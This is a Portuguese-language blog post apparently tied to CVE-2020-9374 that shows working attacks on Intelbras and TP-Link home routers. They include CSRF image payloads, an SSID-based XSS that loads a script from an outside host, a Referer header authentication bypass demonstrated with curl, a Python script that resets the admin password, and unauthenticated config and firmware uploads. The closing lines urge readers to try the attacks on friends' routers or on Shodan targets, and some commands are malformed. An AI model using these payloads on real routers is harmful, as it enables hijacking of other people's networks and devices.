Headline
CVE-2020-9374: Hack ‘N’ Routers - Vulnerabilidades comuns em roteadores domésticos - [PT-BR]
On TP-Link TL-WR849N 0.9.1 4.16 devices, a remote command execution vulnerability in the diagnostics area can be exploited when an attacker sends specific shell metacharacters to the panel’s traceroute feature.
Hackers xiaomi e androids, algumas pessoas já vem me pedindo a algum tempo para falar um pouco sobre algumas vulns e exploits para roteadores (acho que é para fins educacionais), então, hoje irei falar sobre algumas vulnerabilidades presentes em alguns modelos de roteadores domésticos, os quais na maioria das vezes seus donos/usuários não se preocupam em manter sua firmware atualizado, também citarei exemplos explicando por que na maioria das vezes manter seu aparelho atualizado ainda poderá deixar passar alguns ataques.
Usarei os roteadores de marcas Intelbras e TP-Link nos exemplos, pois até agora são os únicos que tenho em mãos para realizar os testes, mas acredito que sirva de base para que vocês possam replicar os mesmos bugs em outros modelos.
Começando pelo bom e velho Intelbras, acho que tudo que tem “Intelbras” em seu nome terá esses mesmos bugs, vou citar só alguns exemplos em determinados modelos e versões, mas os bugs foram testados em outros tipos de painéis e na maioria eles estavam lá.
CSRF****Roteador Wireless N 150 Mbps -WRN 240
Atire a senha do Facebook quem nunca viu esse painel na vida.
Acho que essa é a vulnerabilidade mais comum e conhecida nesses roteadores, Cross-site Request Forgery (CSRF ou XSRF), em português falsificação de solicitação entre sites, também conhecido como ataque de um clique.
Para salvar ou alterar alguma informação, seu painel adiciona esses valores em parâmetros em uma URL e faz a requisição via GET, onde essa URL é requisitada através de javascript ou iframe.
Ex:
Para reiniciar o roteador, quando vamos lá no menu e clicamos no botão reiniciar, o painel faz a requisição para o endereço: http://192.168.0.1/userRpm/SysRebootRpm.htm?Reboot=Reiniciar
E então o roteador reinicia.
Poderíamos fazer o mesmo procedimento de uma maneira “escondida” do admin.
$ echo “<img src=’http://192.168.0.1/userRpm/SysRebootRpm.htm?Reboot=Reiniciar’>” > poc.html
Agora podemos usar para alterar algumas outras informações como, nome da rede wifi, senhas, adicionar portas redirecionadas, mudar DNS etc.
Video salvo em 02/07/2018
Também testado no painel do WRN 150
**Outro exemplo, agora com o **TP-LINK 150M Wireless N Router Model No. TL-WR740N****
<img src="http://192.168.0.1/userRpm/VirtualServerRpm.htm?ExPort=22&InPort=22&Ip=192.168.0.100&Protocol=1&State=1&Commonport=0&Changed=0&SelIndex=0&Page=1&Save=Save">
XSS
Podemos encontrar XSS facilmente em vários inputs, principalmente se juntarmos o CSRF+XSS.
Mas vou mostrar um que achei mais “apresentável” pelo fato de que podemos encontrar o mesmo bug em outros dispositivos além de roteadores.
O XSS por SSID de um outro AP, nos roteadores podemos encontrar esse bug em páginas que mostrem SSID de outras redes, normalmente nas configurações para adicionar um novo “AP”.
Como o painel estará mostrando o nome das outras redes wireless, as vezes ele não filtra esses SSID e com isso conseguimos nosso XXS.
Ex:
Subindo nosso payload:
airbase-ng -e "</script><script src='//elb.me'>" -c 8 -v wlan0mon
Conteudo em elb.me:
Resultado:
Tenho um post sobre isso, explicando mais detalhadamente:
- XSS NO ROTEADOR INTELBRAS WRN 240
Auth Bypass: Alterando firmware e configurações sem autenticar no painel
Primeiro começarei falando de um bug que encontrei num dos roteadores da TP-Link, não vou tomar os créditos para mim pois enquanto pesquisava notei que alguém já tinha reportado os mesmos, só que em outros modelos.
As vulnerabilidades baseavam-se em conseguir alterar ou ver informações no painel do roteador somente estando na mesma rede que o dispositivo, informações que somente quem poderia ver seriam pessoas que estivessem autenticadas nessa área administrativa.
A aplicação não ignorava headers de autenticação, principalmente o "Cookie: Authorization=Basic BASE64="
mas verificava apenas o "Referer: http://ip.router/"
, pois para ela se o usuário estava vindo com esse header, ele certamente estaria autenticado na plataforma, isso abriu ### portas para um novo ataque.
Ex:
curl -X GET http://192.168.0.1/cgi/conf.bin
Resposta: HTTP/1.1 403 Forbidden
curl -X GET -H "Referer: http://192.168.0.1/mainFrame.htm" http://192.168.0.1/cgi/conf.bin
Resposta: HTTP/1.1 200 OK
Exemplo de alteração de senha do painel do roteador:
import requests
new = input('New Pass: ')
url = 'http://192.168.0.1/cgi?8'
headers = {'Content-Type': 'text/plain',
'Referer': 'http://192.168.0.1/mainFrame.htm'}
data = ''
data += '[/cgi/auth#0,0,0,0,0,0#0,0,0,0,0,0]0,3\x0d\x0a'
data += 'oldPwd=admin\x0d\x0a'
data += 'name=admin\x0d\x0a'
data += 'pwd='+new+'\x0d\x0a'
r = requests.post(url,data=data,headers=headers)
print(r.text)
Novos firmwares velhas vulns.
Atualizei minha firmware para a nova versão publicada no site do distribuidor, e decidi verificar se algo tinha mudado, e realmente o bug do Referer
não estava mais lá, independente de Referer
ou não, todas as requisições GET estavam sendo liberadas somente para quem tivesse o cookie certo.
Mas ainda sobrou alguns lugares em que as alterações eram feitas via POST, que no caso seriam: Restaurar arquivos de backup e alterar ou atualizar a firmware.
Restaurando backup do modelo Intelbras, mesmo removendo o Authorization: Basic
ainda conseguimos fazer o upload do arquivo:
Uma boa ideia para tentar, seria baixar um arquivo de backup do seu router e subir o mesmo no router do seu amigo:
PoC:
curl -i -X POST -H "Content-Type: multipart/form-data" -H "Referer: http://192.168.0.1/userRpm/BakNRestoreRpm.htm" -F [email protected] http://192.1680.1/incoming/RouterBakCfgUpload.cfg
O mesmo acontece com a opção de atualizar a firmware.
TP-Link:
curl -i -X POST -H "Content-Type: multipart/form-data" -H "Referer: http://192.168.0.2/mainFrame.htm" -F [email protected]://192.168.0.2/cgi/confup
Não façam isso em casa
Por enquanto é só isso, atualizarei este post frequentemente caso tenham mais modelos e novos bugs para demonstrar, não tentem reproduzir essas peripécias em casa, tentem nos routers de amigos ou no Shodan, é mais divertido 😉.
Referencias
- XSS NO ROTEADOR INTELBRAS WRN 240
- intelbras dns change csrf
- TP-LINK: Derrubando painel administrador com 1 requisição (Sem autenticação)
- POC Router
- TP-Link TL-WR840N/TL-WR841N - Authenticaton Bypass
- Exploit Database Advanced Search - Title: TP-Link
Common Vulnerabilities and Exposures , Pentest , Proof of Concept